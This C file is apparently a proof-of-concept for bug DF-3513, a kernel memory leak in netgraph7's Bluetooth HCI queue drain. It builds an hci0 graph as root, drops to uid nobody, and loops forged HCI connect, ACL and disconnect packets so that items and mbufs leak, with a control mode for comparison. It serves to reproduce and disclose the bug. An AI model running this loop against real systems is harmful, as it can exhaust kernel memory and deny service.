/*
 * DF-3513 -- ng_hci connection queue drain leaks ng_item + mbuf
 *
 * Root cause: NG_BT_ITEMQ_DRAIN() (sys/netgraph7/bluetooth/include/
 * ng_bluetooth.h:202-213) uses NG_FREE_ITEM(), which in netgraph7 is a
 * *flag-only* macro (sys/netgraph7/netgraph.h:816-820: KKASSERT + set
 * NGQF_FREE, no unref).  The queue holds a real reference taken by
 * ng_ref_item() at enqueue time (ng_hci_main.c:873/993), so every item
 * drained by ng_hci_free_con() (ng_hci_misc.c:320) leaks the item and its
 * attached mbuf forever.
 *
 * Trigger (per round, handle=0x0001):
 *   1. HCI event Connection_Complete  -> con_compl() creates OPEN ACL con
 *   2. two ACL data packets via acl hook: #1 forwarded to drv (acl_free 1->0),
 *      #2 stays queued in con->conq (flow controlled)
 *   3. HCI event Disconnection_Complete -> discon_compl() -> ng_hci_free_con()
 *      -> NG_BT_ITEMQ_DESTROY -> DRAIN -> NG_FREE_ITEM  ==> item+mbuf leaked
 *
 * Setup (root, once): create ng7 hci node "hci0", wire two ng7 data sockets
 * to its drv and acl hooks (this models a driver + upper layer attached by
 * the administrator).  The process then setuid()s to nobody (uid 65534) and
 * runs the whole attack loop unprivileged.
 *
 * Build:  cc -O2 -o poc_leak poc_leak.c
 * Run:    ./poc_leak <rounds>     (prints round counter; measure memory
 *                                  around it with vmstat -m / netstat -m)
 * Control run: ./poc_leak <rounds> noqueue   (single ACL pkt per round --
 *                  nothing queued, nothing drained => no leak expected)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- ng7 netgraph user ABI (self-contained copies) ---- */
#define AF_NG			32
#define NG_DATA			1
#define NG_CONTROL		2
#define NG_VERSION		8
#define NGM_GENERIC_COOKIE	1137070366
#define NGM_MKPEER		2
#define NGM_CONNECT		3
#define NGM_NAME		4
#define NGM_NODEINFO		(6 | 0x10000000 | 0x20000000)
#define NGM_LISTNODES		(9 | 0x10000000 | 0x20000000)
#define NGM_HCI_COOKIE		1000774184
#define NGM_HCI_NODE_INIT	101

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32
#define NG_PATHSIZ		512

struct ngm_hdr_ {
	u_char	version;
	u_char	spare;
	u_short	spare2;
	u_int	arglen;
	u_int	cmd;
	u_int	flags;
	u_int	token;
	u_int	typecookie;
	char	cmdstr[32];
};
struct ng_mesg_ {
	struct ngm_hdr_ header;
	char	data[1024];
};
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_connect_ { char path[NG_PATHSIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_ { char name[NG_NODESIZ]; };
struct nodeinfo_ { char name[NG_NODESIZ]; char type[NG_TYPESIZ]; u_int32_t id; u_int32_t hooks; };
struct sockaddr_ng_ { u_char sg_len; sa_family_t sg_family; char sg_data[64]; };
#define NGIOCGINFO_	_IOR('N', 40, struct nodeinfo_)

static u_int32_t tok = 0x1000;

static int
ng_send_msg2(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen, struct ng_mesg_ *reply)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.cmd = cmd;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;	/* family+str+NUL */

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);

	if (reply) {
		u_int32_t mytok = m.header.token;
		int tries;
		for (tries = 0; tries < 32; tries++) {
			n = recv(cs, reply, sizeof(*reply), 0);
			if (n < 0)
				return (-1);
			if (reply->header.token != mytok)
				continue;	/* stale reply, skip */
			if (reply->header.flags & 1 /* NGF_RESP */) {
				if (reply->header.arglen == 4)
					return (-((int)*(u_int32_t *)reply->data ?
					    (int)*(u_int32_t *)reply->data : EIO));
				return (0);	/* positive reply w/ data */
			}
		}
		return (-1);
	}
	return (0);
}

static int
ng_send_msg(int cs, const char *path, u_int cmd, const void *arg,
    size_t arglen, struct ng_mesg_ *reply)
{
	return (ng_send_msg2(cs, path, NGM_GENERIC_COOKIE, cmd, arg, arglen,
	    reply));
}

static int
nodeinfo_id(int cs, u_int32_t *id)
{
	static struct ng_mesg_ reply;
	struct nodeinfo_ *ni;

	if (ng_send_msg(cs, ".", NGM_NODEINFO, NULL, 0, &reply) < 0)
		return (-1);
	ni = (struct nodeinfo_ *)reply.data;
	*id = ni->id;
	return (0);
}

/* wire: on control socket cs's own node create hook 'hook' connected to
 * hci0's hook 'hcihook'; then bind data socket ds to that node. */
static int
wire_data_socket(int cs, int ds, const char *hook, const char *hcihook)
{
	static struct ng_mesg_ reply;
	struct ngm_connect_ con;
	struct sockaddr_ng_ sa;
	u_int32_t id;

	memset(&con, 0, sizeof(con));
	strcpy(con.path, "hci0:");
	strcpy(con.ourhook, hook);
	strcpy(con.peerhook, hcihook);
	if (ng_send_msg(cs, ".", NGM_CONNECT, &con, sizeof(con), NULL) < 0) {
		fprintf(stderr, "wire_data_socket: NGM_CONNECT(%s->%s): %s\n",
		    hook, hcihook, strerror(errno));
		return (-1);
	}
	if (nodeinfo_id(cs, &id) < 0) {
		fprintf(stderr, "wire_data_socket: NODEINFO: %s\n",
		    strerror(errno));
		return (-1);
	}
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "[%x]:", id);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;	/* family+str+NUL */
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
		fprintf(stderr, "wire_data_socket: connect([%u]): %s\n",
		    id, strerror(errno));
		return (-1);
	}
	return (0);
}

int
main(int argc, char **argv)
{
	int cs, cs2, cs3, ds_drv, ds_acl, ds_raw, rounds, i, noqueue = 0;
	struct ngm_mkpeer_ mkp;
	struct ngm_connect_ con;
	struct ngm_name_ nam;
	char buf[2048];

	rounds = (argc > 1) ? atoi(argv[1]) : 1000;
	if (argc > 2 && strcmp(argv[2], "noqueue") == 0)
		noqueue = 1;

	/* -------- root: build the graph -------- */
	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) { perror("control socket"); exit(1); }

	memset(&mkp, 0, sizeof(mkp));
	strcpy(mkp.type, "hci");
	strcpy(mkp.ourhook, "c0");
	strcpy(mkp.peerhook, "raw");
	if (ng_send_msg(cs, ".", NGM_MKPEER, &mkp, sizeof(mkp), NULL) < 0) {
		perror("mkpeer hci"); exit(1);
	}

	memset(&nam, 0, sizeof(nam));
	strcpy(nam.name, "hci0");
	if (ng_send_msg(cs, "c0", NGM_NAME, &nam, sizeof(nam), NULL) < 0) {
		perror("name hci0"); exit(1);
	}

	{
		u_short dbg = 9;	/* NG_HCI_ALERT_LEVEL .. INFO */
		int e = ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, 103 /*SET_DEBUG*/,
		    &dbg, 2, NULL);
		static struct ng_mesg_ rsp;
		u_short chk = 0;
		if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, 102 /*GET_DEBUG*/,
		    NULL, 0, &rsp) == 0)
			chk = *(u_short *)rsp.data;
		printf("SET_DEBUG e=%d errno=%d(%s) debug_now=%u\n", e, errno,
		    strerror(errno), chk);
		/* drain any stale error replies to keep token order clean */
		{
			static struct ng_mesg_ junk;
			while (recv(cs, &junk, sizeof(junk), MSG_DONTWAIT) > 0)
				;
		}
	}

	/* ng7: data sockets bind to a socket *node*; each control socket
	 * owns one node, so use one extra control socket per data path. */
	cs2 = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	cs3 = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	ds_drv = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	ds_acl = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (cs2 < 0 || cs3 < 0 || ds_drv < 0 || ds_acl < 0) {
		perror("sockets"); exit(1);
	}

	if (wire_data_socket(cs2, ds_drv, "data", "drv") < 0) {
		fprintf(stderr, "wire drv failed\n"); exit(1);
	}
	if (wire_data_socket(cs3, ds_acl, "data", "acl") < 0) {
		fprintf(stderr, "wire acl failed\n"); exit(1);
	}

	/* Make the unit READY: HCI Read_BD_ADDR command via the raw hook
	 * (cs's own "c0" hook, which is peered with hci0:raw), its
	 * Command_Complete event via drv, then NGM_HCI_NODE_INIT. */
	ds_raw = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds_raw < 0) { perror("raw data socket"); exit(1); }
	{
		struct sockaddr_ng_ sa;
		u_int32_t myid;

		if (nodeinfo_id(cs, &myid) < 0) {
			fprintf(stderr, "NODEINFO self failed\n"); exit(1);
		}
		memset(&sa, 0, sizeof(sa));
		sa.sg_family = AF_NG;
		snprintf(sa.sg_data, sizeof(sa.sg_data), "[%x]:", myid);
		sa.sg_len = 2 + strlen(sa.sg_data) + 1;
		if (connect(ds_raw, (struct sockaddr *)&sa, sa.sg_len) < 0) {
			fprintf(stderr, "bind raw datasock: %s\n",
			    strerror(errno)); exit(1);
		}
	}

	{
		struct sockaddr_ng_ dstr, dstc;
		char rbuf[2048];
		unsigned char cmd_read_bdaddr[4] = {
			0x01, 0x09, 0x10, 0x00	/* HCI CMD, opcode 0x1009, len 0 */
		};
		unsigned char ev_cc_bdaddr[13] = {
			0x04, 0x0e, 0x0a,	/* event pkt, COMMAND_COMPL, len 10 */
			0x01,			/* num_cmd_pkts = 1 */
			0x09, 0x10,		/* opcode 0x1009 (LE) */
			0x00,			/* status = 0 */
			0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff	/* bdaddr */
		};

		memset(&dstr, 0, sizeof(dstr));
		dstr.sg_family = AF_NG;
		strcpy(dstr.sg_data, "c0");
		dstr.sg_len = 2 + strlen(dstr.sg_data) + 1;

		memset(&dstc, 0, sizeof(dstc));
		dstc.sg_family = AF_NG;
		strcpy(dstc.sg_data, "data");
		dstc.sg_len = 2 + strlen(dstc.sg_data) + 1;

		{
			/* visibility probe: unknown event must kprintf at
			 * debug >= 4 ("got HCI event=0xff") */
			unsigned char junk[3] = { 0x04, 0xff, 0x00 };
			if (sendto(ds_drv, junk, sizeof(junk), 0,
			    (struct sockaddr *)&dstc, dstc.sg_len) < 0)
				perror("send junk");
			usleep(300000);
		}

		if (sendto(ds_raw, cmd_read_bdaddr, sizeof(cmd_read_bdaddr), 0,
		    (struct sockaddr *)&dstr, dstr.sg_len) < 0) {
			perror("send Read_BD_ADDR"); exit(1);
		}
		usleep(5000);	/* cmd forwarded; beat the 5-tick timeout */
		{
			ssize_t got = 0, n;
			while ((n = recv(ds_drv, rbuf, sizeof(rbuf),
			    MSG_DONTWAIT)) > 0)
				got += n;
			printf("drained %zd bytes from drv after command\n",
			    got);
			while ((n = recv(ds_raw, rbuf, sizeof(rbuf),
			    MSG_DONTWAIT)) > 0)
				got += 1000000;	/* tap copy marker */
		}
		if (sendto(ds_drv, ev_cc_bdaddr, sizeof(ev_cc_bdaddr), 0,
		    (struct sockaddr *)&dstc, dstc.sg_len) < 0) {
			perror("send CC bdaddr"); exit(1);
		}
		{
			static struct ng_mesg_ rsp;
			int dl;
			for (dl = 1; dl <= 4; dl++) {
				usleep(300000);
				if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE,
				    100 /*GET_STATE*/, NULL, 0, &rsp) == 0)
					printf("state(+%dms) = %#x\n", dl * 300,
					    *(u_short *)rsp.data);
			}
			if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE,
			    105 /*GET_BDADDR*/, NULL, 0, &rsp) == 0)
				printf("bdaddr = %02x:%02x:%02x:%02x:%02x:%02x\n",
				    (u_char)rsp.data[5], (u_char)rsp.data[4],
				    (u_char)rsp.data[3], (u_char)rsp.data[2],
				    (u_char)rsp.data[1], (u_char)rsp.data[0]);
			else
				printf("GET_BDADDR failed: %s\n",
				    strerror(errno));
			if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE,
			    11 /*NGM_TEXT_STATUS (generic)*/,
			    NULL, 0, &rsp) == 0) {
				/* generic cookie needed */
			}
			if (ng_send_msg2(cs, "c0", NGM_GENERIC_COOKIE,
			    11 /*NGM_TEXT_STATUS*/, NULL, 0, &rsp) == 0)
				printf("TEXT_STATUS: %s\n", rsp.data);
			if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE,
			    104 /*GET_BUFFER*/, NULL, 0, &rsp) == 0)
				printf("buffer: cmd_free=%u acl=%u,%u,%u sco=%u,%u,%u\n",
				    (u_char)rsp.data[0],
				    *(u_short *)(rsp.data+9),
				    *(u_short *)(rsp.data+11),
				    *(u_short *)(rsp.data+13),
				    *(u_short *)(rsp.data+3),
				    *(u_short *)(rsp.data+1),
				    (u_char)rsp.data[15]);
		}
		if (ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, NGM_HCI_NODE_INIT,
		    NULL, 0, NULL) < 0) {
			fprintf(stderr, "NGM_HCI_NODE_INIT: %s\n",
			    strerror(errno)); exit(1);
		}
	}
	printf("graph built + unit READY; dropping to nobody\n");

	/* -------- drop privileges; attack runs as uid 65534 -------- */
	if (setgid(65534) || setuid(65534)) { perror("setuid"); exit(1); }
	printf("uid=%d euid=%d\n", getuid(), geteuid());

	/* HCI event: Connection Complete, handle 0x0001, ACL, status 0 */
	unsigned char ev_con_compl[14] = {
		0x04, 0x03, 0x0b,             /* event pkt, CON_COMPL, len 11 */
		0x00,                         /* status = 0 */
		0x01, 0x00,                   /* con_handle = 0x0001 */
		0x11, 0x22, 0x33, 0x44, 0x55, 0x66,	/* bdaddr */
		0x01,                         /* link_type = ACL (SCO=0, ACL=1) */
		0x00                          /* encryption_mode */
	};
	/* HCI event: Disconnection Complete, handle 0x0001, status 0 */
	unsigned char ev_discon[7] = {
		0x04, 0x05, 0x04,             /* event pkt, DISCON_COMPL, len 4 */
		0x00,                         /* status = 0 */
		0x01, 0x00,                   /* con_handle = 0x0001 */
		0x13                          /* reason */
	};
	/* HCI ACL data packet: handle 0x0001, 13 byte payload */
	unsigned char acl_pkt[18] = {
		0x02, 0x01, 0x00, 0x0d, 0x00, /* ACL pkt, handle 1, len 13 */
		'a','b','c','d','e','f','g','h','i','j','k','l','m'
	};

	struct sockaddr_ng_ dst;	/* hook name on the bound socket node */

	memset(&dst, 0, sizeof(dst));
	dst.sg_family = AF_NG;
	strcpy(dst.sg_data, "data");
	dst.sg_len = 2 + strlen(dst.sg_data) + 1;	/* family+str+NUL */

	for (i = 0; i < rounds; i++) {
		if (sendto(ds_drv, ev_con_compl, sizeof(ev_con_compl), 0,
		    (struct sockaddr *)&dst, dst.sg_len) < 0) {
			if (errno == ENOBUFS) { usleep(1000); i--; continue; }
			perror("send con_compl"); break;
		}
		if (sendto(ds_acl, acl_pkt, sizeof(acl_pkt), 0,
		    (struct sockaddr *)&dst, dst.sg_len) < 0) {
			if (errno == ENOBUFS) { usleep(1000); i--; continue; }
			perror("send acl#1"); break;
		}
		if (!noqueue) {
			if (sendto(ds_acl, acl_pkt, sizeof(acl_pkt), 0,
			    (struct sockaddr *)&dst, dst.sg_len) < 0) {
				if (errno == ENOBUFS) { usleep(1000); i--; continue; }
				perror("send acl#2"); break;
			}
		}
		/* drain whatever came back to the drv socket */
		for (;;) {
			ssize_t n = recv(ds_drv, buf, sizeof(buf), MSG_DONTWAIT);
			if (n <= 0)
				break;
		}
		if (sendto(ds_drv, ev_discon, sizeof(ev_discon), 0,
		    (struct sockaddr *)&dst, dst.sg_len) < 0) {
			if (errno == ENOBUFS) { usleep(1000); i--; continue; }
			perror("send discon"); break;
		}
		if ((i % 2000) == 0)
			printf("round %d\n", i);
	}
	printf("done: %d rounds (queued=%s)\n", i, noqueue ? "no" : "yes");
	return (0);
}
